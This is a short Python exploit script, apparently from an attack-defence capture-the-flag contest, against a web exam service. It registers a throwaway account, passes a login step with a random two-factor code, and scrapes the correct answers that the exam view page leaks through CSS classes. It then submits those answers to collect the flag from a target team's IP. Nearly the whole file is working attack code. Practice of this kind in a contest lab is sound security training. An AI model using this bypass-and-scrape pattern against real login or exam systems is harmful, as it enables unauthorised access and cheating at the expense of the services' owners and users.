service2-store3-vuln2-viewexam.py

#!/usr/bin/env python3

from service2client import Client as AuthClient
from bs4 import BeautifulSoup
import os
import requests
import sys

port = 1237


def get_correct(html):
    soup = BeautifulSoup(html, 'html.parser')
    html_ans = soup.find_all("ul")[1:]
    letters = ["A", "B", "C", "D"]
    correct = []
    for _, x in enumerate(html_ans):
        cur_ans = x.find_all("li")
        assert len(cur_ans) == 4
        for j, y in enumerate(cur_ans):
            val = str(y["class"])
            if "bg-success" in val:
                correct.append(letters[j])
                break
    return correct


def exploit(ip, id):
    base_addr = f"http://{ip}:{port}"

    username = os.urandom(6).hex()
    password = os.urandom(6).hex()
    tfa = os.urandom(4).hex()
    c = AuthClient(ip, username, password, "3")
    c.register()
    c.login()
    token = c.get_token()

    sess = requests.Session()
    r = sess.post(base_addr+"/login.php", data={"token": token, "2fa": tfa})
    r = sess.get(base_addr+"/exam_view.php", params={"id": id})
    correct = get_correct(r.text)
    r = sess.post(base_addr+"/exam_submit.php",
                  json={"id": id, "answers": correct})
    return r.json()["msg"]


if __name__ == "__main__":
    team_id = sys.argv[1]
    flag_id = sys.argv[2]
    ip = f"10.60.{team_id}.1"
    print(exploit(ip, flag_id))